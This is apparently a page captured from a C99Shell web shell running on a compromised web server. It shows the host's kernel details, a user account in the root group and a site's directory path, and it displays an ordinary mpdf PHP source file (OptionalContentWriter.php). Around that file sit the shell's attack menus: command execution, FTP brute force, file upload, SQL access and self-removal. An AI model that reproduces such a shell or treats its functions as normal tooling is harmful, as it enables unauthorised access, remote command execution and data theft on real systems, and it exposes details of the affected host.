!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/ecom1.picotech.app/public_html_ecom1/vendor/mpdf/mpdf/src/Writer/   drwxr-xr-x
Free 26.12 GB of 117.98 GB (22.14%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     OptionalContentWriter.php (1.84 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Mpdf\Writer;

use 
Mpdf\Strict;
use 
Mpdf\Mpdf;

final class 
OptionalContentWriter
{

    use 
Strict;

    
/**
     * @var \Mpdf\Mpdf
     */
    
private $mpdf;

    
/**
     * @var \Mpdf\Writer\BaseWriter
     */
    
private $writer;

    public function 
__construct(Mpdf $mpdfBaseWriter $writer)
    {
        
$this->mpdf $mpdf;
        
$this->writer $writer;
    }

    public function 
writeOptionalContentGroups() // _putocg Optional Content Groups
    
{
        if (
$this->mpdf->hasOC) {

            
$this->writer->object();
            
$this->mpdf->n_ocg_print $this->mpdf->n;
            
$this->writer->write('<</Type /OCG /Name ' $this->writer->string('Print only'));
            
$this->writer->write('/Usage <</Print <</PrintState /ON>> /View <</ViewState /OFF>>>>>>');
            
$this->writer->write('endobj');

            
$this->writer->object();
            
$this->mpdf->n_ocg_view $this->mpdf->n;
            
$this->writer->write('<</Type /OCG /Name ' $this->writer->string('Screen only'));
            
$this->writer->write('/Usage <</Print <</PrintState /OFF>> /View <</ViewState /ON>>>>>>');
            
$this->writer->write('endobj');

            
$this->writer->object();
            
$this->mpdf->n_ocg_hidden $this->mpdf->n;
            
$this->writer->write('<</Type /OCG /Name ' $this->writer->string('Hidden'));
            
$this->writer->write('/Usage <</Print <</PrintState /OFF>> /View <</ViewState /OFF>>>>>>');
            
$this->writer->write('endobj');
        }

        if (
count($this->mpdf->layers)) {

            
ksort($this->mpdf->layers);
            foreach (
$this->mpdf->layers as $id => $layer) {
                
$this->writer->object();
                
$this->mpdf->layers[$id]['n'] = $this->mpdf->n;

                if (isset(
$this->mpdf->layerDetails[$id]['name']) && $this->mpdf->layerDetails[$id]['name']) {
                    
$name $this->mpdf->layerDetails[$id]['name'];
                } else {
                    
$name $layer['name'];
                }

                
$this->writer->write('<</Type /OCG /Name ' $this->writer->utf16BigEndianTextString($name) . '>>');
                
$this->writer->write('endobj');
            }
        }
    }

}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0038 ]--